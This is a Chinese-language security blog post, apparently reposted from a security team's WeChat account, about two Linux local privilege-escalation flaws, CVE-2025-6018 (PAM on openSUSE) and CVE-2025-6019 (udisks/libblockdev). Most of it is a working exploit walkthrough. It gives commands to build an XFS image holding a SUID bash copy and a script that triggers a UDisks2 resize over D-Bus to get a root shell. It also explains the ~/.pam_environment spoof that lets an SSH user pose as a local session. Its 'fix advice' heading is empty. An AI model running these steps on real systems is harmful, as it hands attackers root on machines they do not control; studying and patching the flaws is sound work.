01 漏洞介绍
—
CVE-2025-6018: 在 openSUSE 15 的 PAM 中从无特权用户到 allow_active 的本地权限提升
CVE-2025-6019: 通过 udisks 利用 libblockdev 从 allow_active 到 root 的本地权限提升
02 CVE-2025-6019本地复现
—
根据Qualys安全公告不难知道这个CVE的问题出现在xfs文件系统临时挂载的操作上,没有正确使用nosuid,从而导致的问题出现
先构建一个xfs的镜像,在其中放入bash
dd if=/dev/zero of=xfs.image bs=1M count=300
# XFS
mkfs.xfs -f xfs.image
sudo mkdir -p /mnt/malicious_image
sudo mount -t xfs xfs.image /mnt/malicious_image
# SUID Shell
sudo cp /bin/bash /mnt/malicious_image/root-shell
sudo chmod 4755 /mnt/malicious_image/root-shell
sudo umount /mnt/malicious_image
sudo rmdir /mnt/malicious_image
echo "ok"
调用脚本
echo "当前用户: $(whoami)"
id
# yes
gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot
killall -KILL gvfs-udisks2-volume-monitor &>/dev/null
# loop 设备
udisksctl loop-setup --file ~/xfs.image
# 启动后台进程
while true; do /tmp/blockdev*/root-shell -c 'sleep 5' && break; done &>/dev/null &
# UDisks2 触发漏洞
gdbus call --system --dest org.freedesktop.UDisks2
--object-path /org/freedesktop/UDisks2/block_devices/loop0
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' &>/dev/null
# 等待
sleep 2
# 查找并执行 SUID Shell
ROOT_SHELL_PATH=$(find /tmp -name "root-shell" -perm -4000 2>/dev/null | head -n 1)
if [ -n "$ROOT_SHELL_PATH" ]; then
echo "成功找到 Root Shell: $ROOT_SHELL_PATH"
echo "正在提权..."
${ROOT_SHELL_PATH} -p
else
echo "错误: 未找到 SUID Shell,提权失败。"
fi
若成功则效果如下
可以看到euid已经为root
修复建议:
03 CVE-2025-6018
—
CVE-2025-6018需要openSUSE的环境,我手上没有相关环境,遂只尝试说明问题
在ssh远程的情况下,这个漏洞无法直接使用,原因是Polkit的权限管理
以reboot策略为例
<actionid="org.freedesktop.login1.reboot">
<descriptiongettext-domain="systemd">Reboot the system</description>
<messagegettext-domain="systemd">Authentication is required to reboot the system.</message>
<defaults>
<allow_any>auth_admin_keep</allow_any>
<allow_inactive>auth_admin_keep</allow_inactive>
<allow_active>yes</allow_active>
</defaults>
<annotatekey="org.freedesktop.policykit.imply">org.freedesktop.login1.set-wall-message</annotate>
</action>
其中<allow_active>yes</allow_active>控制本地,假设请求来自一个本地的活跃会话则允许操作<allow_any>auth_admin_keep</allow_any>控制其他会话,若请求来自除了本地的活跃会话外的其他会话则需要admin授权
假设我们在ssh会话中尝试 会触发Polkit会话控制,效果如下
(ssh)neko@aosc-neko205 [ tmp ] $ bash 22.sh
当前用户: neko
uid=1000(neko) gid=1001(neko) 组=1001(neko),11(audio),12(video),15(cdrom),974(ollama),997(wheel),999(plugdev),1002(gamemode)
('challenge',)
==== AUTHENTICATING FOR org.freedesktop.udisks2.loop-setup ====
设定回环设备需要身份验证
Authenticating as: neko
Password:
而opensuse的问题也就出在这里,根据Qualys安全公告说明假设构造一个~/.pam_environment 其中内容为XDG_SEAT=seat0 XDG_VTNR=1 则无管理员权限的攻击者可以通过ssh登入,伪装为本地用户,即Polkit语境下的allow_active权限,从而进行CVE-2025-6019的利用完成提权
04 CVE-2025-6019 EXP
—
https://github.com/neko205-mx/CVE-2025-6019_Exploit
参考文档:
https://cdn2.qualys.com/2025/06/17/suse15-pam-udisks-lpe.txt
https://wiki.archlinuxcn.org/wiki/Polkit
文末:
欢迎师傅们加入我们:
星盟安全团队纳新群1:222328705
星盟安全团队纳新群2:346014666
有兴趣的师傅欢迎一起来讨论!
PS:团队纳新简历投递邮箱:
责任编辑:@Neko205
原文始发于微信公众号(星盟安全):CVE-2025-6018 and CVE-2025-6019 本地提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论